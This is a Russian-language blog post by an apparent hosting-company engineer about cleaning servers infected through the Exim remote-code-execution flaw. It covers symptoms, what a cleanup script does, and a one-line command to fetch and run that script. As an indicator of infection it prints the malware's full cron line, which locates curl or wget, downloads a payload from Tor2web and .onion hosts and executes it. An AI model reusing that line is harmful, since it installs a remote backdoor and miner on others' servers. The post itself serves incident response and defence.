Уязвимость с RCE в Exim уже довольно сильно нашумела, и довольно сильно потрепала нервы системным администраторам по всему миру.
На волне массовых заражений (очень многие наши клиенты используют Exim в качестве почтового сервера) быстренько накидал скрипт для автоматизации решения проблемы. Скрипт далек от идеала и полон неоптимального кода, но это быстрое боевое решение для того, чтоб не выполнять однотипные действия на сотнях или даже тысячах серверов.
Работает на серверах с ОС Centos, RHEL, Debian, Ubuntu при наличии установленного почтового сервера Exim.
Как понять, что сервер взломан?
Проверьте запущенные процессы командой top.
На заражённых серверах наблюдается 100%-я нагрузка, создаваемая процессом [kthrotlds]. Также в планировщике cron добавляется задание с ограничением прав на редактирование.
Секция предупреждений
Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер обязательно нужно перезагружать сразу после чистки кронов.
Важно: уязвимость позволяет исполнять код из под root'а, что не дает никаких гарантий стопроцентного исцеления. Имея рутовый доступ к серверу, можно запрятать на этот сервер почти что угодно, так, что найти его будет почти не возможно. Гарантированно полностью вылечить сервер можно только полной переустановкой, однако она далеко не всегда возможна. Если возможности переустановить сервер нет, а симптомы совпадают с описанными — можно попробовать быстро заделать дыры этим скриптом.
Используя скрипт, вы делаете это на свой страх и риск: мы протестировали скрипт на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек.
Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что уже сейчас есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали.
Что делает скрипт?
1. Если операционная система, установленная на сервере:
- Не Centos 6 обновляет Exim, переустанавливает curl.
- Centos 6 — обновляет Exim из тестового репозитория EPEL (релиз в штатные репозитории ожидается 11-12.06), переустанавливает curl.
2. Проверяет наличие заражения на сервере.
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2а. Если в папке /etc есть следы вирусного скрипта, делает следующее
- останавливает cron
- убивает процесс, запущенный вирусным скриптом
- четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
- чистит почтовую очередь от всех писем (заражённые письма трудно отделить от безвредных, поэтому приходится удалять всю очередь)
- разрешает удаление файлов, где размещены фрагменты вредоносного скрипта:
/etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/[kthrotlds] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp - удаляет эти файлы
- удаляет задание автозапуска в /etc/rc.local
- удаляет ключ злоумышленника из разрешенных ключей ssh
- запускает cron
- и сразу перезагружает сервер
2б. Если следов заражения нет, скрипт завершает работу.
Уточнения
Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии.
curl также заражается вирусом, поэтому он переустанавливается.
Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.
Как пользоваться?
Традиционно: перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.
Для запуска скрипта:
Подключитесь к серверу по ssh под пользователем с правами root. Также можно использовать Shell-клиент в панели ISPmanager — Инструменты.
В терминале введите команду:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.shОжидайте завершения выполнения скрипта и перезагрузки сервера.
После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron.
Ну и напоследок
По сути, скрипт является временным решением для восстановления работоспособности сервера, для гарантированной профилактики лучшим решением является переход на новый сервер с той версией операционной системы, которая уже не содержит уязвимости.
Все рекомендации по доработке/переработке скрипта приветствуются. Если вы столкнулись с другим симптомом заражения — покажите его, пожалуйста. Кооперация в моменты массовых заражений значительно снижает время, нужное на устранение этих заражений.
Удачи!
UPD1: Добавил на github.
Залил туда же исходник скрипта малвари, который удалось вытащить с зараженного сервера.
Автор: Кирилл Цветков
